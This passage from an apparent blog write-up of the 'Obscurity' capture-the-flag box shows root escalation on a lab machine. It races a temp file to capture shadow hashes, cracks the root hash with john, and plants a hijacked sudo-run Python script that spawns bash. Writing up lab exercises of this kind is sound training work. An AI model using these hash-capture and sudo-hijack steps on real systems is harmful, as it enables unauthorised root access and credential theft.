    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)

So what we gonna do

  • Run a infinte loop to read the every file in /tmp/SSH/
  • Run the BetterSSH.py as root
  • Grab the hash

Run the loop

1
root@obscure:~# while true;do cat /tmp/SSH/* 2>/dev/null;done

Run the python script

1
2
3
4
5
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Authed!
robert@Obscure$ 

Output on our Loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
robert@obscure:~$ while true;do cat /tmp/SSH/* 2>/dev/null;done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7




robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

Cracking the root hash

hash

1
2
➜  obscurity cat hash 
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
1
2
3
4
5
6
7
8
9
10
11
➜  obscurity john -w=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (?)
1g 0:00:00:00 DONE (2020-05-09 11:18) 1.388g/s 711.1p/s 711.1c/s 711.1C/s angelo..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we got password for the user root

Method 3 (unintended)

This Is the unintended method……………..

If you look at the dir /home/robert/BetterSSH we have the permission to rename the dir name, So its easy to rename it to any other name and make your own Dir called BetterSSH and then make a file inside it called BetterSSH.py since the user robert can run the script as root , it will run our custom script that contains the code to spawn bash.And running the script we are root

1
2
3
robert@obscure:~$ mv BetterSSH BS
robert@obscure:~$ mkdir BetterSSH
robert@obscure:~$ touch BetterSSH/BetterSSH.py

And now just use the following simple code to spawn a bash shell.

1
2
import os
os.system("/bin/bash")
1
2
3
4
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
root@obscure:~/BetterSSH# whoami
root
root@obscure:~/BetterSSH#

Got root.txt

1
2
3
root@obscure:/root# cat root.txt
512fd--------------------------9e3
root@obscure:/root# 

And we pwned it …….

If u liked the writeup.Support a Poor Student to Get the OSCP-Cert on BuymeaCoffee

If you want to get notified as soon as i upload something new to my blog So just click on the bell icon you are seeing on the right side – > and allow push notification

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.